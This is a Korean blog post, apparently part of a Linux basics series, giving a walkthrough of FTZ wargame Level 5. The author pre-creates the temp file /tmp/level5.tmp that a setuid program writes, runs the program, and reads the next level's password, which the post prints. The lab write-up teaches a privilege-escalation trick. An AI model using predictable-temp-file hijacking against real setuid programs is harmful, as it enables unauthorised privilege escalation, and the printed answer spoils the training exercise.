사자자리
[리눅스 기초] F.T.Z Level 5 본문
[level5@ftz level5]$ ls -al
total 80
drwxr-xr-x 4 root level5 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 129 Mar 23 2000 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level5 4096 Feb 24 2002 public_html
drwxrwx--- 2 root level5 4096 Jan 16 2009 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
[level5@ftz level5]$ cd /usr/bin
[level5@ftz bin]$ ls -al
total 72360
(생략)
-rws--x--- 1 level6 level5 12236 Sep 10 2011 level5
(생략)
[level5@ftz bin]$ cat level5
cat: level5: Permission denied
level5가 setuid가 걸린 파일임을 알 수 있었다. 혹시나 하고 cat 명령으로 실행히보았으나, 당연히 거부되었다.
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -al
total 12
drwxrwxrwt 2 root root 4096 Jun 19 00:03 .
drwxr-xr-x 20 root root 4096 Jun 18 22:24 ..
srwxrwxrwx 1 mysql mysql 0 Jun 18 22:24 mysql.sock
[level5@ftz tmp]$ cat > level5.tmp
(Ctrl + D 입력)
[level5@ftz tmp]$ ls -al
total 12
drwxrwxrwt 2 root root 4096 Jun 19 00:03 .
drwxr-xr-x 20 root root 4096 Jun 18 22:24 ..
-rw-rw-r-- 1 level5 level5 31 Jun 19 00:08 level5.tmp
srwxrwxrwx 1 mysql mysql 0 Jun 18 22:24 mysql.sock
임시파일이기 때문에 실행시키는 동안이 아니면 파일이 없는 것이라고 예상하였다. 따라서 덮어쓰기를 위해 level5.tmp 파일을 만들고, /usr/bin/level5를 실행했다.
[level5@ftz tmp]$ cat level5.tmp
next password : what the hell
cat 명령으로 실행시키니 비밀번호가 떴다.
'LINUX 기초 > FTZ' 카테고리의 다른 글
[리눅스 기초] F.T.Z Level 4 (0) | 2022.06.26 |
---|---|
[리눅스 기초] F.T.Z Level 3 (0) | 2022.06.18 |
[리눅스 기초] F.T.Z Level 1 ~ Level 2 (0) | 2022.05.24 |
[리눅스 기초] F.T.Z trainer 6 ~ trainer 10 (0) | 2022.05.08 |
[리눅스 기초] F.T.Z trainer 1 ~ trainer 5 (0) | 2022.05.01 |
Comments